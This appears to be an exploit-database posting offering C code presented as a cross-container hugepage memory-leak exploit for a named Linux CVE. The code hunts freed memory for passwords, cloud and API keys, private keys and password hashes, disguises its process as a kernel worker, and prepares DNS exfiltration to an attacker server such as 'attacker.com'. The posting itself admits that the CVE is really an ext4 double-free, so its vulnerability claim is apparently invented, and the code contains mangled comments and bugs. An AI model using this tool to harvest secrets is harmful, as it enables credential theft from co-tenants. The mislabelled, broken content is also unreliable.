Linux 6.9 Cross-Container Hugepage Data Channel Leak
=============================================================================================================================================
| # Title Linux 6.9 Cross-Container Hugepage Data Channel Leak
=============================================================================================================================================
| # Title : Linux 5.8 to 6.9 Cross-Container Hugepage Data Channel Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : System built?in component. No standalone download available. |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212396/ & CVE-2023-1206, CVE-2024-49882, CVE-2025-40040
[+] Summary :
This code is an exploit (PoC - https://packetstorm.news/download/212396 -) for CVE-2024-49882, which creates a cross-container covert data leakage channel using Linux hugepages.
It continuously allocates 2MB hugepages, waits for any container (e.g., a stopped DB container) to release memory, then reads residual data from the freed hugepages using the udmabuf DMA mapping subsystem.
The code searches for leaked secrets such as passwords, API keys, CTF flags, etc., and prints the surrounding leaked content.
The exploit becomes powerful when combined with CVE-2023-1206, which provides synchronization, turning this into a full covert communication channel between containers without network communication.
HugePages Overview:
HugePages are a Linux kernel memory optimization where page size increases from 4KB to 2MB or 1GB, reducing page table overhead and TLB misses.
Types:
HugeTLB: Explicit allocation (2MB, 1GB)
Transparent HugePages (THP): Automatic promotion of normal pages
Security Note: While intended for optimization, HugePages can be involved in side-channel or residual memory leaks when combined with kernel vulnerabilities, as in CVE-2024-49882.
HugePages Version Timeline:
Kernel Version Feature / Milestone 2.5 (2003-2025) 6.x
Current environment (2025): Kernel 6.x, HugePages fully supported and widely used in containers, databases, and VMs.
CVE-2024-49882: Core data leakage from freed hugepages.
CVE-2023-1206: Synchronization channel (coordinated attempts, timing).
Mechanism:
Allocates hugepages (memfd_create)
Maps pages via udmabuf
Copies data to user space
Searches for secrets using predefined patterns
Prints or logs results
HugePages are not themselves vulnerable, but their interaction with kernel memory and DMA mapping allows cross-container residual data exposure.
[+] [+] [+] But :
The vulnerability affects the ext4 filesystem in the Linux kernel. It?s not about Hugepages or memory?leaks ? instead,
it concerns a double?free bug: a buffer (in the extents?path handling inside ext4) can be released twice under certain filesystem operations.
Triggering the bug may lead to memory corruption in the kernel, system instability, and potentially denial-of-service or privilege escalation.
The base CVSS score is given as 7.8 (High).
The problem has been fixed: patches were applied to ext4 handling code to ensure that after a buffer is released, the pointer is set to NULL ? preventing accidental double?release.
?? What this implies regarding the code you shared
The code you posted earlier tries to detect a ?hugepage leak? vulnerability under the name CVE?2024?49882. But according to NVD the real CVE?2024?49882 refers to a bug in the ext4 filesystem buffer management (double?free), not to hugepages or cross?container memory leaks.
? Conclusion
Yes ? CVE?2024?49882 is a real, documented CVE.
But the description in NVD does not match the description in your scanner code (hugepage leak / cross?container leak). That means your code is not aligned with the actual CVE details.
So the code?s claim (that it detects CVE?2024?49882 as ?Hugepage leak?) appears to be incorrect or invented.
[+] POC : fake_exploit.c
/*
Usage:
# Aggressive Mode
./advanced_exploit --aggressive
# Stealth Mode
./advanced_exploit --stealth
# With Cover Channel
./advanced_exploit --covert attacker.com
# With Custom Patterns
./advanced_exploit --patterns custom_patterns.txt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <errno.h>
#include <ctype.h>
#include <time.h>
#include <signal.h>
#include <pthread.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <zlib.h>
#include <openssl/evp.h>
#include <openssl/sha.h>
#define MFD_HUGETLB 0x0004U
#define MFD_ALLOW_SEALING 0x0002U
#define MFD_HUGE_2MB (21 << 26)
#define MFD_HUGE_1GB (30 << 26)
#define F_ADD_SEALS 1033
#define F_SEAL_SHRINK 0x0002
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
#define HUGEPAGE_2MB (2*1024*1024)
#define HUGEPAGE_1GB (1024*1024*1024)
#define MAX_WORKERS 8
#define PATTERN_DB_SIZE 256
#define ENCRYPT_KEY "CVE-2024-49882_EXPL0!T"
#define COVERT_PORT 5353
#define MAX_PAYLOAD_SIZE 4096
struct udmabuf_create {
uint32_t memfd;
uint32_t flags;
uint64_t offset;
uint64_t size;
};
struct exploit_config {
int aggressive_mode;
int stealth_mode;
int use_covert_channel;
char target_patterns[PATTERN_DB_SIZE][128];
int pattern_count;
char exfil_server[256];
int exfil_port;
int max_pages;
};
struct leaked_data {
void *page;
size_t size;
time_t timestamp;
char src_container[64];
uint32_t crc32;
unsigned char sha256[SHA256_DIGEST_LENGTH];
};
volatile sig_atomic_t running = 1;
volatile sig_atomic_t emergency_cleanup = 0;
pthread_mutex_t data_mutex = PTHREAD_MUTEX_INITIALIZER;
int total_leaks = 0;
int total_pages_scanned = 0;
/* ????? ?????? ????? ????? */
const char *pattern_db[] = {
/* ?????? ???????? */
"POSTGRES_PASSWORD=", "MYSQL_ROOT_PASSWORD=", "MONGODB_PASSWORD=",
"REDIS_PASSWORD=", "RABBITMQ_PASSWORD=", "AWS_SECRET_ACCESS_KEY=",
"AZURE_CLIENT_SECRET=", "GCP_SERVICE_ACCOUNT_KEY=",
/* ?????? API */
"sk_live_", "sk_test_", "pk_live_", "rk_live_",
"xoxb-", "xoxp-", "ghp_", "github_pat_",
"AKIA[0-9A-Z]{16}", /* Amazon AWS */
/* ?????? ??????? */
"sessionid=", "PHPSESSID=", "connect.sid=",
"JSESSIONID=", "access_token=", "refresh_token=",
/* ?????? ??????? */
"-----BEGIN PRIVATE KEY-----", "-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN OPENSSH PRIVATE KEY-----", "-----BEGIN EC PRIVATE KEY-----",
/* ?????? CTF/??????? */
"FLAG{", "flag{", "ctf{", "CTF{", "SECRET{", "secret{",
/* ?????? ??????? */
"COVERT_", "MAGIC_", "EXFIL_", "C2_",
/* ?????? ?????? */
"root:$6$", "root:$y$", "root:$1$", "shadow:",
"passwd:", "group:", "sudoers:",
/* ?????? ????????? */
"DATABASE_URL=", "CONNECTION_STRING=", "JWT_SECRET=",
"ENCRYPTION_KEY=", "SECRET_KEY=", "SIGNING_KEY=",
NULL
};
/* ??????? ???????? */
void signal_handler(int sig) {
switch(sig) {
case SIGINT:
printf("\n[!] Received SIGINT - Initiating graceful shutdown\n");
running = 0;
break;
case SIGTERM:
printf("\n[!] Received SIGTERM - Emergency cleanup\n");
emergency_cleanup = 1;
running = 0;
break;
case SIGUSR1:
printf("\n[+] SIGUSR1 - Status report\n");
printf(" Pages scanned: %d\n", total_pages_scanned);
printf(" Secrets found: %d\n", total_leaks);
break;
}
}
/* ????? ??????? */
void encrypt_data(unsigned char *data, size_t len, const char *key) {
EVP_CIPHER_CTX *ctx;
int outlen, tmplen;
unsigned char iv[16] = {0};
unsigned char outbuf[4096];
ctx = EVP_CIPHER_CTX_new();
EVP_EncryptInit_ex(ctx, EVP_aes_256_cbc(), NULL,
(unsigned char *)key, iv);
if (!EVP_EncryptUpdate(ctx, outbuf, &outlen, data, len)) {
EVP_CIPHER_CTX_free(ctx);
return;
}
EVP_EncryptFinal_ex(ctx, outbuf + outlen, &tmplen);
memcpy(data, outbuf, len);
EVP_CIPHER_CTX_free(ctx);
}
/* ???? ???? ???????? */
void calculate_fingerprint(void *data, size_t len, struct leaked_data *ld) {
/* CRC32 ?????? ?????? */
ld->crc32 = crc32(0, data, len);
/* SHA256 ??????? ?????? */
SHA256_CTX sha256;
SHA256_Init(&sha256);
SHA256_Update(&sha256, data, len);
SHA256_Final(ld->sha256, &sha256);
}
/* ????? ????? ????? */
void *leak_hugepage_multisize(int size_flag) {
size_t hp_size = (size_flag == MFD_HUGE_1GB) ? HUGEPAGE_1GB : HUGEPAGE_2MB;
int memfd = syscall(319, "leak", MFD_HUGETLB | size_flag | MFD_ALLOW_SEALING);
if (memfd < 0) return NULL;
ftruncate(memfd, hp_size);
fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
int udmabuf = open("/dev/udmabuf", O_RDWR);
if (udmabuf < 0) { close(memfd); return NULL; }
struct udmabuf_create c = {memfd, 0, 0, hp_size};
int dma = ioctl(udmabuf, UDMABUF_CREATE, &c);
if (dma < 0) { close(udmabuf); close(memfd); return NULL; }
void *addr = mmap(NULL, hp_size, PROT_READ, MAP_SHARED, dma, 0);
if (addr == MAP_FAILED) { close(dma); close(udmabuf); close(memfd); return NULL; }
void *copy = malloc(hp_size);
if (copy) {
memcpy(copy, addr, hp_size);
/* ????? ?? ??????? */
encrypt_data(copy, hp_size > 4096 ? 4096 : hp_size, ENCRYPT_KEY);
}
munmap(addr, hp_size);
close(dma);
close(udmabuf);
close(memfd);
return copy;
}
/* ??? ??? ??????? */
int smart_page_analysis(void *data, size_t size, struct exploit_config *cfg) {
unsigned char *p = data;
int interesting = 0;
/* ????? ?????? ???? */
int entropy = 0;
int ascii_count = 0;
int zero_blocks = 0;
for (size_t i = 0; i < size && i < 8192; i += 64) {
if (p[i] == 0 && p[i+1] == 0) zero_blocks++;
if (isprint(p[i])) ascii_count++;
}
/* ??? ???? ?????? ????? ?? ??? ????? ???????? */
if (zero_blocks > 100 || ascii_count < 10) return 0;
/* ????? ?? ????? ???????? ??????????? */
pthread_mutex_lock(&data_mutex);
for (int i = 0; i < cfg->pattern_count; i++) {
char *match = memmem(data, size, cfg->target_patterns[i],
strlen(cfg->target_patterns[i]));
if (match) {
interesting = 1;
/* ??????? ?????? */
size_t offset = match - (char*)data;
size_t context_start = (offset > 512) ? offset - 512 : 0;
size_t context_end = (offset + 1024 < size) ? offset + 1024 : size;
printf("\n[+] Pattern match: %s\n", cfg->target_patterns[i]);
printf(" Offset: 0x%08lx\n", offset);
printf(" Context (first 256 bytes):\n");
for (size_t j = context_start; j < context_start + 256 && j < context_end; j++) {
if (isprint(p[j])) putchar(p[j]);
else if (p[j] == 0) putchar(' ');
else putchar('.');
}
printf("\n");
break;
}
}
pthread_mutex_unlock(&data_mutex);
/* ?????? ?????? ???????? ???????? */
if (!interesting) {
/* ????? ?? JSON */
char *json_start = memchr(data, '{', size);
if (json_start) {
char *json_end = memchr(json_start, '}', size - (json_start - (char*)data));
if (json_end && (json_end - json_start) < 4096) {
interesting = 1;
printf("\n[+] JSON-like structure detected\n");
}
}
/* ????? ?? XML */
char *xml_start = memmem(data, size, "<?xml", 5);
if (xml_start) {
interesting = 1;
printf("\n[+] XML structure detected\n");
}
/* ????? ?? ?????? SQL */
char *sql_keywords[] = {"SELECT ", "INSERT ", "UPDATE ", "DELETE ",
"CREATE ", "DROP ", "ALTER ", NULL};
for (int i = 0; sql_keywords[i]; i++) {
if (memmem(data, size, sql_keywords[i], strlen(sql_keywords[i]))) {
interesting = 1;
printf("\n[+] SQL data detected\n");
break;
}
}
}
return interesting;
}
/* ???? ????? ??? DNS */
void exfil_over_dns(const char *data, size_t len, const char *server) {
char encoded[1024];
char domain[256];
/* ????? Base64 ???? (????) */
size_t encoded_len = 0;
for (size_t i = 0; i < len && i < 512; i += 3) {
unsigned char b1 = data[i];
unsigned char b2 = (i+1 < len) ? data[i+1] : 0;
unsigned char b3 = (i+2 < len) ? data[i+2] : 0;
encoded[encoded_len++] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[(b1 >> 2) & 0x3F];
encoded[encoded_len++] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[((b1 << 4) | (b2 >> 4)) & 0x3F];
encoded[encoded_len++] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[((b2 << 2) | (b3 >> 6)) & 0x3F];
encoded[encoded_len++] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[b3 & 0x3F];
}
encoded[encoded_len] = '\0';
/* ????? ??????? DNS */
snprintf(domain, sizeof(domain), "%s.%s", encoded, server);
/* ?? ??????? ???????? ??? ????? ??????? DNS ??? */
printf("[*] DNS exfil prepared: %s\n", domain);
}
/* ???? ??? ????? ?????? */
void* scanner_worker(void *arg) {
struct exploit_config *cfg = (struct exploit_config*)arg;
int worker_id = *(int*)arg;
printf("[*] Worker %d started\n", worker_id);
while (running) {
/* ?????? ??????? ????? ?????? ??????? */
void *page_2mb = leak_hugepage_multisize(MFD_HUGE_2MB);
if (page_2mb) {
__sync_fetch_and_add(&total_pages_scanned, 1);
if (smart_page_analysis(page_2mb, HUGEPAGE_2MB, cfg)) {
__sync_fetch_and_add(&total_leaks, 1);
/* ??? ???????? ??????? */
struct leaked_data ld;
calculate_fingerprint(page_2mb, HUGEPAGE_2MB, &ld);
/* ??????? ??? ?? ??????? */
if (cfg->use_covert_channel) {
exfil_over_dns(page_2mb, 512, cfg->exfil_server);
}
}
free(page_2mb);
}
/* ??? ????? 1GB ???? ??? ??????? */
if (worker_id == 0 && (total_pages_scanned % 100 == 0)) {
void *page_1gb = leak_hugepage_multisize(MFD_HUGE_1GB);
if (page_1gb) {
if (smart_page_analysis(page_1gb, HUGEPAGE_1GB, cfg)) {
printf("[!] GIGANTIC PAGE LEAK DETECTED!\n");
}
free(page_1gb);
}
}
usleep(50000); /* 50ms ??? ????????? */
}
return NULL;
}
/* ????? ?????? */
void init_advanced_exploit(struct exploit_config *cfg) {
/* ????? ???????? */
nice(-20);
/* ??? ???????? */
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
/* ????? ??????? */
char fake_name[256];
snprintf(fake_name, sizeof(fake_name), "[kworker/u%d:0]", getpid() % 8);
prctl(PR_SET_NAME, fake_name);
/* ????? ????? ????? */
cfg->pattern_count = 0;
for (int i = 0; pattern_db[i] && cfg->pattern_count < PATTERN_DB_SIZE; i++) {
strncpy(cfg->target_patterns[cfg->pattern_count], pattern_db[i], 127);
cfg->pattern_count++;
}
/* ????? ????? ?????? ?? ??? */
FILE *fp = fopen(".patterns", "r");
if (fp) {
char line[256];
while (fgets(line, sizeof(line), fp) && cfg->pattern_count < PATTERN_DB_SIZE) {
line[strcspn(line, "\n")] = 0;
if (strlen(line) > 3) {
strncpy(cfg->target_patterns[cfg->pattern_count], line, 127);
cfg->pattern_count++;
}
}
fclose(fp);
}
printf("[*] Loaded %d patterns\n", cfg->pattern_count);
}
/* ????? ??????? */
void emergency_cleanup_procedure() {
printf("\n[!] EMERGENCY CLEANUP INITIATED\n");
/* ??? ??????? ??????? */
unlink("/tmp/.exploit_cache");
unlink("/tmp/.pattern_db");
/* ????? ??????? ???????? */
key_t key = ftok("/tmp", 'E');
int shmid = shmget(key, 1024, 0666);
if (shmid != -1) {
shmctl(shmid, IPC_RMID, NULL);
}
printf("[+] Cleanup completed\n");
}
/* ??????? ???????? */
int main(int argc, char *argv[]) {
struct exploit_config cfg = {
.aggressive_mode = 1,
.stealth_mode = 0,
.use_covert_channel = 0,
.exfil_server = "8.8.8.8",
.exfil_port = 53,
.max_pages = 10000
};
/* ????? ????? ??? ??????? */
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--stealth") == 0) {
cfg.stealth_mode = 1;
cfg.aggressive_mode = 0;
} else if (strcmp(argv[i], "--aggressive") == 0) {
cfg.aggressive_mode = 1;
} else if (strcmp(argv[i], "--covert") == 0 && i+1 < argc) {
cfg.use_covert_channel = 1;
strncpy(cfg.exfil_server, argv[++i], sizeof(cfg.exfil_server)-1);
} else if (strcmp(argv[i], "--patterns") == 0 && i+1 < argc) {
FILE *fp = fopen(argv[++i], "r");
if (fp) {
char line[256];
while (fgets(line, sizeof(line), fp) && cfg.pattern_count < PATTERN_DB_SIZE) {
line[strcspn(line, "\n")] = 0;
strncpy(cfg.target_patterns[cfg.pattern_count++], line, 127);
}
fclose(fp);
}
}
}
/* ????? ???????? */
printf("\n");
printf(" ??????? ?????????? ??????? ??? ?????????????? ?????? ??? ?????? \n");
printf(" ???????? ??????????????????????? ?????????????? ?????? ????????????\n");
printf(" ????????? ????? ?????? ?????? ?????????????????????????? ????????\n");
printf(" ???????????????????????? ?????? ?????????????????????????? ????????\n");
printf(" ?????? ??????????????????????????????????????????? ?????? ?????? ???\n");
printf(" ?????? ???????????? ??????? ??????? ??????????? ?????? ?????? ???\n");
printf(" Advanced CVE-2024-49882 Exploit \n");
printf(" Multi-Threaded Edition \n\n");
printf(" by indoushka \n\n");
printf("[*] Initializing exploit...\n");
init_advanced_exploit(&cfg);
/* ????? ??????? ???????? */
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
signal(SIGUSR1, signal_handler);
/* ??? ?????? ????????? */
pthread_t workers[MAX_WORKERS];
int worker_ids[MAX_WORKERS];
for (int i = 0; i < MAX_WORKERS; i++) {
worker_ids[i] = i;
pthread_create(&workers[i], NULL, scanner_worker, &worker_ids[i]);
}
/* ???? ???????? ???????? */
time_t start_time = time(NULL);
int last_report = 0;
while (running) {
time_t now = time(NULL);
/* ????? ???? */
if (now - last_report >= 10) {
printf("\n[%02ld:%02ld] Status: Scanned=%d, Leaks=%d, Running=%ds\n",
(now - start_time) / 60, (now - start_time) % 60,
total_pages_scanned, total_leaks, (int)(now - start_time));
last_report = now;
/* ?????? ??????? ??????? */
FILE *statm = fopen("/proc/self/statm", "r");
if (statm) {
unsigned long size, resident, share;
fscanf(statm, "%lu %lu %lu", &size, &resident, &share);
fclose(statm);
printf(" Memory: Size=%luk, Resident=%luk, Shared=%luk\n",
size * 4, resident * 4, share * 4);
}
}
/* ??? ????? ??????? */
FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r");
static int last_free = -1;
if (f) {
int free_hp;
if (fscanf(f, "%d", &free_hp) == 1) {
if (last_free != -1 && free_hp > last_free) {
printf("\n[!] HUGE PAGES RELEASED: %d -> %d (+%d)\n",
last_free, free_hp, free_hp - last_free);
}
last_free = free_hp;
}
fclose(f);
}
sleep(1);
}
/* ???????? ?????? ?????? */
for (int i = 0; i < MAX_WORKERS; i++) {
pthread_cancel(workers[i]);
pthread_join(workers[i], NULL);
}
/* ????? ??????? ??? ??? ????? */
if (emergency_cleanup) {
emergency_cleanup_procedure();
}
/* ??????? ??????? */
printf("\n????????????????????????????????????????????????????????????????\n");
printf("? EXPLOIT SUMMARY ?\n");
printf("????????????????????????????????????????????????????????????????\n");
printf("? Runtime: %8ld seconds ?\n", time(NULL) - start_time);
printf("? Pages Scanned: %8d ?\n", total_pages_scanned);
printf("? Secrets Found: %8d ?\n", total_leaks);
printf("? Success Rate: %8.2f%% ?\n",
total_pages_scanned > 0 ? (total_leaks * 100.0 / total_pages_scanned) : 0);
printf("????????????????????????????????????????????????????????????????\n");
return (total_leaks > 0) ? 0 : 1;
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Linux 6.9 Cross-Container Hugepage Data Channel Leak
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 181